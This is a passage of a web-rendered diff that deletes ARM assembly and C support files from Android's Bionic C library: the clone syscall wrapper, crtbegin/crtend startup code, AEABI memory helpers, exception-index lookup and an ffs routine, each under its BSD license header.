# This function is defined as:
|
||||
#
|
||||
# pid_t __bionic_clone( int flags, void *child_stack,
|
||||
# pid_t *pid, void *tls, pid_t *ctid,
|
||||
# int (*fn)(void *), void* arg );
|
||||
#
|
||||
# NOTE: This is not the same signature than the GLibc
|
||||
# __clone function here !! Placing 'fn' and 'arg'
|
||||
# at the end of the parameter list makes the
|
||||
# implementation much simpler.
|
||||
#
|
||||
.type __bionic_clone, #function
|
||||
.globl __bionic_clone
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__bionic_clone:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
|
||||
# save registers to parent stack
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
|
||||
# load extra parameters
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
|
||||
# store 'fn' and 'arg' to the child stack
|
||||
str r5, [r1, #-4]
|
||||
str r6, [r1, #-8]
|
||||
|
||||
# system call
|
||||
ldr r7, =__NR_clone
|
||||
swi #0
|
||||
movs r0, r0
|
||||
beq 1f
|
||||
|
||||
# in parent, reload saved registers
|
||||
# then either exit or error
|
||||
#
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
bxne lr
|
||||
b __set_syscall_errno
|
||||
|
||||
1: # in the child - pick arguments
|
||||
ldr r0, [sp, #-4]
|
||||
ldr r1, [sp, #-8]
|
||||
b __bionic_clone_entry
|
||||
|
||||
.fnend
|
|
@ -1,87 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
.text
|
||||
.align 4
|
||||
.type _start,#function
|
||||
.globl _start
|
||||
|
||||
# this is the small startup code that is first run when
|
||||
# any executable that is dynamically-linked with Bionic
|
||||
# runs.
|
||||
#
|
||||
# it's purpose is to call __libc_init with appropriate
|
||||
# arguments, which are:
|
||||
#
|
||||
# - the address of the raw data block setup by the Linux
|
||||
# kernel ELF loader
|
||||
#
|
||||
# - address of an "onexit" function, not used on any
|
||||
# platform supported by Bionic
|
||||
#
|
||||
# - address of the "main" function of the program. We
|
||||
# can't hard-code it in the adr pseudo instruction
|
||||
# so we use a tiny trampoline that will get relocated
|
||||
# by the dynamic linker before this code runs
|
||||
#
|
||||
# - address of the constructor list
|
||||
#
|
||||
_start:
|
||||
mov r0, sp
|
||||
mov r1, #0
|
||||
adr r2, 0f
|
||||
adr r3, 1f
|
||||
b __libc_init
|
||||
|
||||
0: b main
|
||||
|
||||
1: .long __PREINIT_ARRAY__
|
||||
.long __INIT_ARRAY__
|
||||
.long __FINI_ARRAY__
|
||||
.long __CTOR_LIST__
|
||||
|
||||
.section .preinit_array, "aw"
|
||||
.globl __PREINIT_ARRAY__
|
||||
__PREINIT_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .init_array, "aw"
|
||||
.globl __INIT_ARRAY__
|
||||
__INIT_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .fini_array, "aw"
|
||||
.globl __FINI_ARRAY__
|
||||
__FINI_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .ctors, "aw"
|
||||
.globl __CTOR_LIST__
|
||||
__CTOR_LIST__:
|
||||
.long -1
|
||||
|
||||
#include "__dso_handle.S"
|
|
@ -1,55 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
# Implement static C++ destructors when the shared
|
||||
# library is unloaded through dlclose().
|
||||
#
|
||||
# A call to this function must be the first entry
|
||||
# in the .fini_array. See 3.3.5.3.C of C++ ABI
|
||||
# standard.
|
||||
#
|
||||
__on_dlclose:
|
||||
adr r0, 0f
|
||||
ldr r0, [r0]
|
||||
b __cxa_finalize
|
||||
|
||||
0:
|
||||
.long __dso_handle
|
||||
|
||||
.section .init_array, "aw"
|
||||
.globl __INIT_ARRAY__
|
||||
__INIT_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .fini_array, "aw"
|
||||
.globl __FINI_ARRAY__
|
||||
__FINI_ARRAY__:
|
||||
.long -1
|
||||
.long __on_dlclose
|
||||
|
||||
#include "__dso_handle.S"
|
|
@ -1,88 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
.text
|
||||
.align 4
|
||||
.type _start,#function
|
||||
.globl _start
|
||||
|
||||
# this is the small startup code that is first run when
|
||||
# any executable that is statically-linked with Bionic
|
||||
# runs.
|
||||
#
|
||||
# it's purpose is to call __libc_init with appropriate
|
||||
# arguments, which are:
|
||||
#
|
||||
# - the address of the raw data block setup by the Linux
|
||||
# kernel ELF loader
|
||||
#
|
||||
# - address of an "onexit" function, not used on any
|
||||
# platform supported by Bionic
|
||||
#
|
||||
# - address of the "main" function of the program. We
|
||||
# can't hard-code it in the adr pseudo instruction
|
||||
# so we use a tiny trampoline that will get relocated
|
||||
# by the dynamic linker before this code runs
|
||||
#
|
||||
# - address of the constructor list
|
||||
#
|
||||
_start:
|
||||
mov r0, sp
|
||||
mov r1, #0
|
||||
adr r2, 0f
|
||||
adr r3, 1f
|
||||
b __libc_init
|
||||
|
||||
0: b main
|
||||
|
||||
1: .long __PREINIT_ARRAY__
|
||||
.long __INIT_ARRAY__
|
||||
.long __FINI_ARRAY__
|
||||
.long __CTOR_LIST__
|
||||
|
||||
.section .preinit_array, "aw"
|
||||
.globl __PREINIT_ARRAY__
|
||||
__PREINIT_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .init_array, "aw"
|
||||
.globl __INIT_ARRAY__
|
||||
__INIT_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .fini_array, "aw"
|
||||
.globl __FINI_ARRAY__
|
||||
__FINI_ARRAY__:
|
||||
.long -1
|
||||
|
||||
.section .ctors, "aw"
|
||||
.globl __CTOR_LIST__
|
||||
__CTOR_LIST__:
|
||||
.long -1
|
||||
|
||||
|
||||
#include "__dso_handle.S"
|
|
@ -1,40 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
.section .preinit_array, "aw"
|
||||
.long 0
|
||||
|
||||
.section .init_array, "aw"
|
||||
.long 0
|
||||
|
||||
.section .fini_array, "aw"
|
||||
.long 0
|
||||
|
||||
.section .ctors, "aw"
|
||||
.long 0
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2010 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* This is the same than crtend.S except that a shared library
|
||||
* cannot have a .preinit_array
|
||||
*/
|
||||
|
||||
.section .init_array, "aw"
|
||||
.long 0
|
||||
|
||||
.section .fini_array, "aw"
|
||||
.long 0
|
||||
|
|
@ -1,119 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
extern int __cxa_atexit(void (*)(void*), void*, void* );
|
||||
|
||||
/* Temporary hack: this variable should not be part of the C library
|
||||
* itself, but placed in the .bss section of each executable or
|
||||
* shared library instead.
|
||||
*
|
||||
* We keep it here temporarily until the build system has been
|
||||
* modified properly to use crtbegin_so.S and crtend_so.S when
|
||||
* generating shared libraries.
|
||||
*
|
||||
* It must be a 'weak' symbol to avoid conflicts with the definitions
|
||||
* that have been moved to crtbegin_static.S and crtbegin_dynamic.S
|
||||
*
|
||||
* For the record, it is used for static C++ object construction
|
||||
* and destruction. See http://www.codesourcery.com/public/cxx-abi/abi.html#dso-dtor
|
||||
*/
|
||||
void* __attribute__((weak)) __dso_handle;
|
||||
|
||||
/* The "C++ ABI for ARM" document states that static C++ constructors,
|
||||
* which are called from the .init_array, should manually call
|
||||
* __aeabi_atexit() to register static destructors explicitely.
|
||||
*
|
||||
* Note that 'dso_handle' is the address of a magic linker-generate
|
||||
* variable from the shared object that contains the constructor/destructor
|
||||
*/
|
||||
|
||||
/* Make this a weak symbol to avoid a multiple definition error when linking
|
||||
* with libstdc++-v3. */
|
||||
int __attribute__((weak))
|
||||
__aeabi_atexit (void *object, void (*destructor) (void *), void *dso_handle)
|
||||
{
|
||||
return __cxa_atexit(destructor, object, dso_handle);
|
||||
}
|
||||
|
||||
|
||||
void __aeabi_memcpy8(void *dest, const void *src, size_t n) {
|
||||
memcpy(dest, src, n);
|
||||
}
|
||||
|
||||
void __aeabi_memcpy4(void *dest, const void *src, size_t n) {
|
||||
memcpy(dest, src, n);
|
||||
}
|
||||
|
||||
void __aeabi_memcpy(void *dest, const void *src, size_t n) {
|
||||
memcpy(dest, src, n);
|
||||
}
|
||||
|
||||
|
||||
void __aeabi_memmove8(void *dest, const void *src, size_t n) {
|
||||
memmove(dest, src, n);
|
||||
}
|
||||
|
||||
void __aeabi_memmove4(void *dest, const void *src, size_t n) {
|
||||
memmove(dest, src, n);
|
||||
}
|
||||
|
||||
void __aeabi_memmove(void *dest, const void *src, size_t n) {
|
||||
memmove(dest, src, n);
|
||||
}
|
||||
|
||||
/*
|
||||
* __aeabi_memset has the order of its second and third arguments reversed.
|
||||
* This allows __aeabi_memclr to tail-call __aeabi_memset
|
||||
*/
|
||||
|
||||
void __aeabi_memset8(void *dest, size_t n, int c) {
|
||||
memset(dest, c, n);
|
||||
}
|
||||
|
||||
void __aeabi_memset4(void *dest, size_t n, int c) {
|
||||
memset(dest, c, n);
|
||||
}
|
||||
|
||||
void __aeabi_memset(void *dest, size_t n, int c) {
|
||||
memset(dest, c, n);
|
||||
}
|
||||
|
||||
|
||||
void __aeabi_memclr8(void *dest, size_t n) {
|
||||
__aeabi_memset8(dest, n, 0);
|
||||
}
|
||||
|
||||
void __aeabi_memclr4(void *dest, size_t n) {
|
||||
__aeabi_memset4(dest, n, 0);
|
||||
}
|
||||
|
||||
void __aeabi_memclr(void *dest, size_t n) {
|
||||
__aeabi_memset(dest, n, 0);
|
||||
}
|
|
@ -1,47 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
typedef long unsigned int *_Unwind_Ptr;
|
||||
|
||||
/* Stubbed out in libdl and defined in the dynamic linker.
|
||||
* Same semantics as __gnu_Unwind_Find_exidx().
|
||||
*/
|
||||
extern _Unwind_Ptr dl_unwind_find_exidx(_Unwind_Ptr pc, int *pcount);
|
||||
|
||||
/* For a given PC, find the .so that it belongs to.
|
||||
* Returns the base address of the .ARM.exidx section
|
||||
* for that .so, and the number of 8-byte entries
|
||||
* in that section (via *pcount).
|
||||
*
|
||||
* libgcc declares __gnu_Unwind_Find_exidx() as a weak symbol, with
|
||||
* the expectation that libc will define it and call through to
|
||||
* a differently-named function in the dynamic linker.
|
||||
*/
|
||||
_Unwind_Ptr __gnu_Unwind_Find_exidx(_Unwind_Ptr pc, int *pcount)
|
||||
{
|
||||
return dl_unwind_find_exidx(pc, pcount);
|
||||
}
|
|
@ -1,45 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
typedef long unsigned int *_Unwind_Ptr;
|
||||
|
||||
/* Find the .ARM.exidx section (which in the case of a static executable
|
||||
* can be identified through its start and end symbols), and return its
|
||||
* beginning and numbe of entries to the caller. Note that for static
|
||||
* executables we do not need to use the value of the PC to find the
|
||||
* EXIDX section.
|
||||
*/
|
||||
|
||||
extern unsigned __exidx_end;
|
||||
extern unsigned __exidx_start;
|
||||
|
||||
_Unwind_Ptr __gnu_Unwind_Find_exidx(_Unwind_Ptr pc __attribute__((unused)),
|
||||
int *pcount)
|
||||
{
|
||||
*pcount = (__exidx_end-__exidx_start)/8;
|
||||
return (_Unwind_Ptr)__exidx_start;
|
||||
}
|
|
@ -1,82 +0,0 @@
|
|||
/* $NetBSD: ffs.S,v 1.5 2003/04/05 23:08:52 bjh21 Exp $ */
|
||||
/*
|
||||
* Copyright (c) 2001 Christopher Gilbert
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the company nor the name of the author may be used to
|
||||
* endorse or promote products derived from this software without specific
|
||||
* prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
|
||||
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/asm.h>
|
||||
|
||||
/*
|
||||
* ffs - find first set bit, this algorithm isolates the first set
|
||||
* bit, then multiplies the number by 0x0450fbaf which leaves the top
|
||||
* 6 bits as an index into the table. This algorithm should be a win
|
||||
* over the checking each bit in turn as per the C compiled version.
|
||||
*
|
||||
* under ARMv5 there's an instruction called CLZ (count leading Zero's) that
|
||||
* could be used
|
||||
*
|
||||
* This is the ffs algorithm devised by d.seal and posted to comp.sys.arm on
|
||||
* 16 Feb 1994.
|
||||
*/
|
||||
|
||||
ENTRY(ffs)
|
||||
/* Standard trick to isolate bottom bit in r0 or 0 if r0 = 0 on entry */
|
||||
rsb r1, r0, #0
|
||||
ands r0, r0, r1
|
||||
#ifndef __ARM_ARCH_5__
|
||||
/*
|
||||
* now r0 has at most one set bit, call this X
|
||||
* if X = 0, all further instructions are skipped
|
||||
*/
|
||||
adrne r2, .L_ffs_table
|
||||
orrne r0, r0, r0, lsl #4 /* r0 = X * 0x11 */
|
||||
orrne r0, r0, r0, lsl #6 /* r0 = X * 0x451 */
|
||||
rsbne r0, r0, r0, lsl #16 /* r0 = X * 0x0450fbaf */
|
||||
|
||||
/* now lookup in table indexed on top 6 bits of r0 */
|
||||
ldrneb r0, [ r2, r0, lsr #26 ]
|
||||
|
||||
bx lr
|
||||
|
||||
.text;
|
||||
.type .L_ffs_table, _ASM_TYPE_OBJECT;
|
||||
.L_ffs_table:
|
||||
/* 0 1 2 3 4 5 6 7 */
|
||||
.byte 0, 1, 2, 13, 3, 7, 0, 14 /* 0- 7 */
|
||||
.byte 4, 0, 8, 0, 0, 0, 0, 15 /* 8-15 */
|
||||
.byte 11, 5, 0, 0, 9, 0, 0, 26 /* 16-23 */
|
||||
.byte 0, 0, 0, 0, 0, 22, 28, 16 /* 24-31 */
|
||||
.byte 32, 12, 6, 0, 0, 0, 0, 0 /* 32-39 */
|
||||
.byte 10, 0, 0, 25, 0, 0, 21, 27 /* 40-47 */
|
||||
.byte 31, 0, 0, 0, 0, 24, 0, 20 /* 48-55 */
|
||||
.byte 30, 0, 23, 19, 29, 18, 17, 0 /* 56-63 */
|
||||
#else
|
||||
clzne r0, r0
|
||||
rsbne r0, r0, #32
|
||||
bx lr
|
||||
#endif
|
||||
|
|
@ -1,53 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
